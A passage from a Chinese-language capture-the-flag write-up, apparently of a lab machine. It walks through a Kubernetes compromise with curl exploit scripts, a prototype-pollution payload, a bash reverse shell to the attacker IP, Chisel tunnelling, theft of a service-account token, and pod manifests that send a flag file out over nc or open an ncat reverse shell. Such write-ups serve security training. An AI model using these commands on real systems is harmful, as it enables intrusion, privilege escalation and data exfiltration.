     -d "$(cat message.json | jq -c)" \
     -x "${PROXY}" \
     "http://${RHOST}:${RPORT}/" \
| jq .
#!/bin/bash

RHOST="127.0.0.1"
RPORT=3000
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE=$1

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "filename":"${FILE}"
}
EOF

curl -s \
     -A "${UA}" \
     -H "Content-Type: application/json" \
     -d "$(cat message.json | jq -c)" \
     -x "${PROXY}" \
     -o /dev/null \
     "http://${RHOST}:${RPORT}/upload"

我们需要使用Chisel将端口转发到devnode-deployment容器“172.17.0.8:3000”

参考视频 https://www.youtube.com/watch?v=Yp4oxoQIBAM&t=1469s

下载地址 https://github.com/jpillora/chisel

如果遇到connect: connection refused,解决方案 https://blog.csdn.net/hhyukJae/article/details/106980818

命令执行步骤
go chisel
du -hs chisel
go build -ldflags="-s -w"
upx brute chisel
du -hs chisel

然后使用python3开启一个http服务以后,使用wget下载到靶机里

给chisel一个777权限后,使用chisel开启一个服务

本地运行
chmod 777 chisel
./chisel server -p 9999 --reverse

┌──(root💀root)-[~/Desktop/chisel]
└─# ./chisel server -p 9999 --reverse
2021/07/17 02:45:18 server: Reverse tunnelling enabled
2021/07/17 02:45:18 server: Fingerprint kcPnWygZKzUCU+9rAzUk0r6I13LgnEuy/vKZsUNEgCQ=
2021/07/17 02:45:18 server: Listening on http://0.0.0.0:9999
靶机运行
chmod 777 chisel
./chisel client 10.10.14.53:9999 R:3000:172.17.0.8:3000

root@webapp-deployment-5d764566f4-mbprj:/tmp# ./chisel client 10.10.14.53:9999 R:3000:172.17.0.8:3000
<isel client 10.10.14.53:9999 R:3000:172.17.0.8:3000
2021/07/16 19:04:27 client: Connecting to ws://10.10.14.53:9999
2021/07/16 19:04:29 client: Connected (Latency 251.63886ms)

然后现在让我们运行修改后的exploit.sh

┌──(root💀root)-[~/Desktop]
└─# ./exploit.sh '{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}'                                                                                                                         4 ⨯
{
  "ok": true
}

然后运行exploit2.sh

./exploit2.sh "& echo $(echo 'bash -i >& /dev/tcp/10.10.14.53/5555 0>&1' | base64) | base64 -d | bash"
┌──(root💀root)-[~/Desktop]
└─# nc -nvlp 5555
listening on [any] 5555 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.10.235] 58012
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@devnode-deployment-cd86fb5c-6ms8d:/usr/src/app# whoami && id
whoami && id
root
uid=0(root) gid=0(root) groups=0(root)

成功获得另一个shell

然后我们到/tmp/目录下继续运行kubectl脚本

cd /tmp
./kubectl-lucifiel get secrets -n kube-system

root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl-lucifiel get secrets -n kube-system
</tmp# ./kubectl-lucifiel get secrets -n kube-system
NAME                                             TYPE                                  DATA   AGE
attachdetach-controller-token-5dkkr              kubernetes.io/service-account-token   3      180d
bootstrap-signer-token-xl4lg                     kubernetes.io/service-account-token   3      180d
c-admin-token-tfmp2                              kubernetes.io/service-account-token   3      180d
certificate-controller-token-thnxw               kubernetes.io/service-account-token   3      180d
clusterrole-aggregation-controller-token-scx4p   kubernetes.io/service-account-token   3      180d
coredns-token-dbp92                              kubernetes.io/service-account-token   3      180d
cronjob-controller-token-chrl7                   kubernetes.io/service-account-token   3      180d
daemon-set-controller-token-cb825                kubernetes.io/service-account-token   3      180d
default-token-l85f2                              kubernetes.io/service-account-token   3      180d
deployment-controller-token-cwgst                kubernetes.io/service-account-token   3      180d
disruption-controller-token-kpx2x                kubernetes.io/service-account-token   3      180d
endpoint-controller-token-2jzkv                  kubernetes.io/service-account-token   3      180d
endpointslice-controller-token-w4hwg             kubernetes.io/service-account-token   3      180d
endpointslicemirroring-controller-token-9qvzz    kubernetes.io/service-account-token   3      180d
expand-controller-token-sc9fw                    kubernetes.io/service-account-token   3      180d
generic-garbage-collector-token-2hng4            kubernetes.io/service-account-token   3      180d
horizontal-pod-autoscaler-token-6zhfs            kubernetes.io/service-account-token   3      180d
job-controller-token-h6kg8                       kubernetes.io/service-account-token   3      180d
kube-proxy-token-jc8kn                           kubernetes.io/service-account-token   3      180d
namespace-controller-token-2klzl                 kubernetes.io/service-account-token   3      180d
node-controller-token-k6p6v                      kubernetes.io/service-account-token   3      180d
persistent-volume-binder-token-fd292             kubernetes.io/service-account-token   3      180d
pod-garbage-collector-token-bjmrd                kubernetes.io/service-account-token   3      180d
pv-protection-controller-token-9669w             kubernetes.io/service-account-token   3      180d
pvc-protection-controller-token-w8m9r            kubernetes.io/service-account-token   3      180d
replicaset-controller-token-bzbt8                kubernetes.io/service-account-token   3      180d
replication-controller-token-jz8k8               kubernetes.io/service-account-token   3      180d
resourcequota-controller-token-wg7rr             kubernetes.io/service-account-token   3      180d
root-ca-cert-publisher-token-cnl86               kubernetes.io/service-account-token   3      180d
service-account-controller-token-44bfm           kubernetes.io/service-account-token   3      180d
service-controller-token-pzjnq                   kubernetes.io/service-account-token   3      180d
statefulset-controller-token-z2nsd               kubernetes.io/service-account-token   3      180d
storage-provisioner-token-tk5k5                  kubernetes.io/service-account-token   3      180d
token-cleaner-token-wjvf9                        kubernetes.io/service-account-token   3      180d
ttl-controller-token-z87px                       kubernetes.io/service-account-token   3      180d

接着让我们获取令牌

./kubectl-lucifiel describe secrets/c-admin-token-tfmp2 -n kube-system

root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl-lucifiel describe secrets/c-admin-token-tfmp2 -n kube-system
<describe secrets/c-admin-token-tfmp2 -n kube-system
Name:         c-admin-token-tfmp2
Namespace:    kube-system
Labels:       <none>
Annotations:  kubernetes.io/service-account.name: c-admin
              kubernetes.io/service-account.uid: 2463505f-983e-45bd-91f7-cd59bfe066d0

Type:  kubernetes.io/service-account-token

Data
====
token:      eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow
ca.crt:     1066 bytes
namespace:  11 bytes

让我们列出token

root@devnode-deployment-cd86fb5c-6ms8d:/tmp# /tmp/kubectl-lucifiel --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow cluster-info
<579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow cluster-info
Kubernetes control plane is running at https://10.96.0.1:443
KubeDNS is running at https://10.96.0.1:443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.

在本地创建一个lucifiel.yaml脚本

apiVersion: v1
kind: Pod
metadata:
  name: some-pod
  namespace: default
spec:
  containers:
    - name: web
      image: localhost:5000/dev-alpine
      command: ["/bin/sh"]
      args: ["-c", 'cat /root/root.txt | nc -nv 10.10.14.53 6666; sleep 100000']
      volumeMounts:
      - mountPath: /root/
        name: root-flag
  volumes:
  - hostPath:
      path: /root/
      type: ""
    name: root-flag

然后本地监听一个端口,并保存文件为root.txt

nc -nvlp 6666 > root.txt

然后运行该脚本

/tmp/kubectl-lucifiel create -f /tmp/lucifiel.yaml --token eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow
┌──(root💀root)-[~/Desktop]
└─# cat root.txt
fd72e8e095033f233d31c383e5c0391b

成功拿到root权限的flag文件 ## 题外话 这几天事情有点多,再加上一些这样那样的情况吧,导致比较忙。所以这次的靶场就没有写的非常细致,有很多东西都是一下就略过了,请大家见谅。等过段时间忙完了就会恢复质量。

最后一步如果想要获得一个shell,就使用这个脚本

apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed-revshell-pod
  labels:
    app: pentest
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: everything-allowed-pod
    image: raesene/ncat
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
  #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
  volumes:
  - name: noderoot
    hostPath:
      path: /